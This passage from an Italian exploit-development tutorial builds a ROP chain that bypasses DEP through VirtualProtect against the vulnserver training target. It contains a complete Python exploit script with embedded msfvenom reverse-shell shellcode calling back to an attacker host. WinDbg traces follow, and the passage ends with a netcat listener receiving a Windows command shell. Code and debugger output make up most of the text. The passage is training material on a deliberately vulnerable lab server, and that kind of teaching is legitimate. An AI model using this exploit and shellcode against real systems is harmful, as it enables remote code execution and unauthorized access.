Molto simile al precedente, dobbiamo avere 0x201 in EBX. Invece che incrementare andremo ad aggiungere il valore negato di 0x201 in EAX, negarlo e poi copiarlo in EBX.
0:000> ? - 201
Evaluate expression: -513 = fffffdff
Nello script aggiungo:
…..
#### EBX {DONE}
ebx = pack("<I",0x625011b4) #0x625011b4: pop eax ; ret --> essfunc.dll
ebx += pack("<I",0xfffffdff) # -201
ebx += pack("<I",0x758b29f8) # NEG EAX # RETN ** [KERNEL32.DLL] **
ebx += pack("<I",0x75fa5599) # XCHG EAX,EBX # RETN ** [RPCRT4.dll] **
……
Cerchiamo una call a EBP con mona:
!py mona jmp -r esp -cpb '\x00'
[+] Results :
0x625011af | 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011bb | 0x625011bb : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011c7 | 0x625011c7 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011d3 | 0x625011d3 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
Quindi diventerà:
……………
#### POP {DONE}
ebp = pack("<I",0x75f88337)# POP EBP # RETN ** [RPCRT4.dll] **
ebp += pack("<I",0x625011af) # jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll]
……………
Ora abbiamo bisogno di un PTR a VirtualProtect (0x6250609c). Ciò significa che abbiamo l’indirizzo dell’API di VirtualProtect ma ci serve una DWORD, non solo un indirizzo. Usando sempre EAX come registro di appoggio, gli step saranno:
I gadget per questa operazione sono:
….
#### ESI {DONE}
esi = pack("<I",0x625011b4 ) 0x625011b4 # pop eax; ret; --> essfunc.dll
esi += pack("<I",0x6250609c) #0x6250609c: indirizzo di VirtualProtect
esi += pack("<I",0x75fbe619) # MOV EAX,DWORD PTR [EAX] # RETN ** [RPCRT4.dll] **
esi += pack("<I",0x75a01470) # XCHG EAX,ESI # RETN ** [WS2_32.DLL] **
…..
Per concluderte inseriamo il POP EDI e il PUSHAD finale:
edi = struct.pack("<I",0x759ca9e1) # POP EDI # RETN ** [WS2_32.DLL] **
edi += rop_nop
pushad = struct.pack("<I",0x759dcf3f) # PUSHAD # RETN ** [WS2_32.DLL] **
Non ci rimane che inserire tutto nello script ed aggiungere lo shellcode alla fine della chain.
L’ordinamento è importante, perché bisogna stare attenti che nessun registro venga intaccato durante l’esecuzione. Per esempio, in ESI abbiamo utilizzato EAX come registro d’appoggio, per cui andrà prima di EAX, altrimenti il valore di EAX non sarà più quello che vogliamo.
Lo script finale sarà:
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
VULNSRVR_CMD = b"TRUN ."
CRASH_LEN = 6000
OFFSET = 2006
######
#EAX 90909090 => Nop {DONE}
#ECX 0x62506f00 => flProtect {DONE}
#EDX 00000040 => flNewProtect {DONE}
#EBX 00000201 => dwSize - 513 {DONE}
#ESP ???????? => Leave as is
#EBP ???????? => Call to ESP (jmp, call, push,..) {DONE}
#ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x6250609c {DONE}
#EDI ???????? => ROP-Nop {DONE}
######
rop_nop = struct.pack("<I",0x62501022) # RETN
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00' EXITFUNC=thread
shellcode = b""
shellcode += b"\xdb\xc8\xbe\xa4\x0f\xf4\x81\xd9\x74\x24\xf4"
shellcode += b"\x5f\x29\xc9\xb1\x52\x31\x77\x17\x83\xc7\x04"
shellcode += b"\x03\xd3\x1c\x16\x74\xe7\xcb\x54\x77\x17\x0c"
shellcode += b"\x39\xf1\xf2\x3d\x79\x65\x77\x6d\x49\xed\xd5"
shellcode += b"\x82\x22\xa3\xcd\x11\x46\x6c\xe2\x92\xed\x4a"
shellcode += b"\xcd\x23\x5d\xae\x4c\xa0\x9c\xe3\xae\x99\x6e"
shellcode += b"\xf6\xaf\xde\x93\xfb\xfd\xb7\xd8\xae\x11\xb3"
shellcode += b"\x95\x72\x9a\x8f\x38\xf3\x7f\x47\x3a\xd2\x2e"
shellcode += b"\xd3\x65\xf4\xd1\x30\x1e\xbd\xc9\x55\x1b\x77"
shellcode += b"\x62\xad\xd7\x86\xa2\xff\x18\x24\x8b\xcf\xea"
shellcode += b"\x34\xcc\xe8\x14\x43\x24\x0b\xa8\x54\xf3\x71"
shellcode += b"\x76\xd0\xe7\xd2\xfd\x42\xc3\xe3\xd2\x15\x80"
shellcode += b"\xe8\x9f\x52\xce\xec\x1e\xb6\x65\x08\xaa\x39"
shellcode += b"\xa9\x98\xe8\x1d\x6d\xc0\xab\x3c\x34\xac\x1a"
shellcode += b"\x40\x26\x0f\xc2\xe4\x2d\xa2\x17\x95\x6c\xab"
shellcode += b"\xd4\x94\x8e\x2b\x73\xae\xfd\x19\xdc\x04\x69"
shellcode += b"\x12\x95\x82\x6e\x55\x8c\x73\xe0\xa8\x2f\x84"
shellcode += b"\x29\x6f\x7b\xd4\x41\x46\x04\xbf\x91\x67\xd1"
shellcode += b"\x10\xc1\xc7\x8a\xd0\xb1\xa7\x7a\xb9\xdb\x27"
shellcode += b"\xa4\xd9\xe4\xed\xcd\x70\x1f\x66\x32\x2c\x1e"
shellcode += b"\x4a\xda\x2f\x20\xa8\x9f\xb9\xc6\xa6\x8f\xef"
shellcode += b"\x51\x5f\x29\xaa\x29\xfe\xb6\x60\x54\xc0\x3d"
shellcode += b"\x87\xa9\x8f\xb5\xe2\xb9\x78\x36\xb9\xe3\x2f"
shellcode += b"\x49\x17\x8b\xac\xd8\xfc\x4b\xba\xc0\xaa\x1c"
shellcode += b"\xeb\x37\xa3\xc8\x01\x61\x1d\xee\xdb\xf7\x66"
shellcode += b"\xaa\x07\xc4\x69\x33\xc5\x70\x4e\x23\x13\x78"
shellcode += b"\xca\x17\xcb\x2f\x84\xc1\xad\x99\x66\xbb\x67"
shellcode += b"\x75\x21\x2b\xf1\xb5\xf2\x2d\xfe\x93\x84\xd1"
shellcode += b"\x4f\x4a\xd1\xee\x60\x1a\xd5\x97\x9c\xba\x1a"
shellcode += b"\x42\x25\xda\xf8\x46\x50\x73\xa5\x03\xd9\x1e"
shellcode += b"\x56\xfe\x1e\x27\xd5\x0a\xdf\xdc\xc5\x7f\xda"
shellcode += b"\x99\x41\x6c\x96\xb2\x27\x92\x05\xb2\x6d"
#### EAX - {DONE}
eax = struct.pack("<I",0x625011b4) #0x625011b4: pop eax ; ret
eax += struct.pack("<I",0x90909090) # NOP
#### ECX {DONE}
ecx = struct.pack("<I",0x6250120c) # pop ecx; ret;
ecx += struct.pack("<I",0x62506f10) # RW page
#### EDX { DONE}
edx = struct.pack("<I",0x771073d0) # XOR EAX,EAX # RETN
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 8
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 16
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 24
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 32
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 40
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 48
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 56
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 64
edx += struct.pack("<I",0x77173a4a) # XCHG EAX,EDX # RETN
#### EBX {DONE}
ebx = struct.pack("<I",0x625011b4) #0x625011b4: pop eax ; ret --> essfunc.dll
ebx += struct.pack("<I",0xfffffdff) # -201
ebx += struct.pack("<I",0x758b29f8) # NEG EAX # RETN ** [KERNEL32.DLL] **
ebx += struct.pack("<I",0x75fa5599) # XCHG EAX,EBX # RETN ** [RPCRT4.dll] **
#### EBP {DONE}
ebp = struct.pack("<I",0x75f88337)# POP EBP # RETN ** [RPCRT4.dll] **
ebp += struct.pack("<I",0x625011af) # jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll]
#### ESI {DONE}
esi = struct.pack("<I",0x625011b4 ) # pop eax; ret; --> essfunc.dll
esi += struct.pack("<I",0x6250609c) #0x6250609c: indirizzo di VirtualProtect
esi += struct.pack("<I",0x75fbe619) # MOV EAX,DWORD PTR [EAX] # RETN ** [RPCRT4.dll] **
esi += struct.pack("<I",0x75a01470) # XCHG EAX,ESI # RETN ** [WS2_32.DLL] **
#### EDI
edi = struct.pack("<I",0x759ca9e1) # POP EDI # RETN ** [WS2_32.DLL] **
edi += rop_nop
#### PUSHAD
pushad = struct.pack("<I",0x759dcf3f) # PUSHAD # RETN ** [WS2_32.DLL] **
rop = esi
rop += ebx
rop += edx
rop += edi
rop += ebp
rop += ecx
rop += eax
rop += pushad
nop = b"\x90"*16
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += rop_nop # ROP NOP
payload += rop
payload += nop
payload += shellcode
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Metto un breakpoint sul rop_nop ed eseguo con windbg passo passo per vedere se tutti i registri sono stati formati correttamente:
0:003> bp 0x62501022
0:003> g
Breakpoint 0 hit
eax=00e8f1e8 ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=62501022 esp=00e8f9c8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x1022:
62501022 c3 ret
0:003> p
eax=00e8f1e8 ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=625011b4 esp=00e8f9cc ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc!EssentialFunc2+0x8:
625011b4 58 pop eax
0:003> p
eax=6250609c ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=625011b5 esp=00e8f9d0 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc!EssentialFunc2+0x9:
625011b5 c3 ret
0:003> p
eax=6250609c ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=75fbe619 esp=00e8f9d4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
RPCRT4!BINDING_HANDLE::GetAuthenticationLevel+0x26:
75fbe619 8b00 mov eax,dword ptr [eax] ds:0023:6250609c={KERNEL32!VirtualProtectStub (75885c90)}
0:003> p
eax=75885c90 ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=75fbe61b esp=00e8f9d4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
RPCRT4!BINDING_HANDLE::GetAuthenticationLevel+0x28:
75fbe61b c3 ret
0:003> p
eax=75885c90 ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=75a01470 esp=00e8f9d8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WS2_32!DCATALOG::WriteToRegistry+0x214:
75a01470 96 xchg eax,esi
0:003> p
eax=00401848 ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=75a01471 esp=00e8f9d8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WS2_32!DCATALOG::WriteToRegistry+0x215:
75a01471 c3 ret
0:003> dd 6250609c L1
6250609c 75885c90
0:003> r esi
esi=75885c90
ESI punta a VirtualAlloc, passo al successivo:
0:003> p
eax=00401848 ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=625011b4 esp=00e8f9dc ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc!EssentialFunc2+0x8:
625011b4 58 pop eax
0:003> p
eax=fffffdff ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=625011b5 esp=00e8f9e0 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc!EssentialFunc2+0x9:
625011b5 c3 ret
0:003> p
eax=fffffdff ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=758b29f8 esp=00e8f9e4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
KERNEL32!IsHijriLeapYear+0x2b:
758b29f8 f7d8 neg eax
0:003> p
eax=00000201 ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=758b29fa esp=00e8f9e4 ebp=41414141 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
KERNEL32!IsHijriLeapYear+0x2d:
758b29fa c3 ret
0:003> p
eax=00000201 ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=75fa5599 esp=00e8f9e8 ebp=41414141 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
RPCRT4!NdrpClientUnMarshal+0x539:
75fa5599 93 xchg eax,ebx
0:003> p
eax=0000000c ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=75fa559a esp=00e8f9e8 ebp=41414141 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
RPCRT4!NdrpClientUnMarshal+0x53a:
75fa559a c3 ret
0:003> r ebx
ebx=00000201
Anche EBX contiene la variabile corretta, continuo l’esecuzione:
0:003> p
eax=0000000c ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=771073d0 esp=00e8f9ec ebp=41414141 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
ntdll!strcmp+0x40:
771073d0 33c0 xor eax,eax
0:003>
eax=00000000 ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=771073d2 esp=00e8f9ec ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!strcmp+0x42:
771073d2 c3 ret
0:003>
eax=00000000 ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=7593616f esp=00e8f9f0 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
msvcrt!_errno+0xf:
7593616f 83c008 add eax,8
0:003>
eax=00000008 ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=75936172 esp=00e8f9f0 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
msvcrt!_errno+0x12:
75936172 c3 ret
…..
eax=00000040 ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=77173a4a esp=00e8fa10 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ntdll!EtwpInitializeCompression+0x16:
77173a4a 92 xchg eax,edx
0:003>
eax=0000f80b ebx=00000201 ecx=001854b0 edx=00000040 esi=75885c90 edi=00401848
eip=77173a4b esp=00e8fa10 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ntdll!EtwpInitializeCompression+0x17:
77173a4b c3 ret
0:003> r edx
edx=00000040
E via cosi fino all’ultimo registro. Continuo l’esecuzione fino alla chiamata a VirtualProtect.
Guardando i registri hanno tutti il valore che volevamo! Non ci resta che metterci in ascolto sulla kali e proseguire con l’esecuzione:
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 1303
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
desktop-p7jng2j\user
Se siete arrivati fino a qui, complimenti, avete creato con successo la prima chain ROP! Come potete vedere dai vari gadget, bisogna trovare la strada giusta (e ce ne possono essere diverse) per avere il valore giusto in ogni registro. Nel prossimo articolo vedremo la tecnica sniper su EasyRMtoMP3Converter.
Alcune risorse che mi sono state molto utili nel capire l’argomento: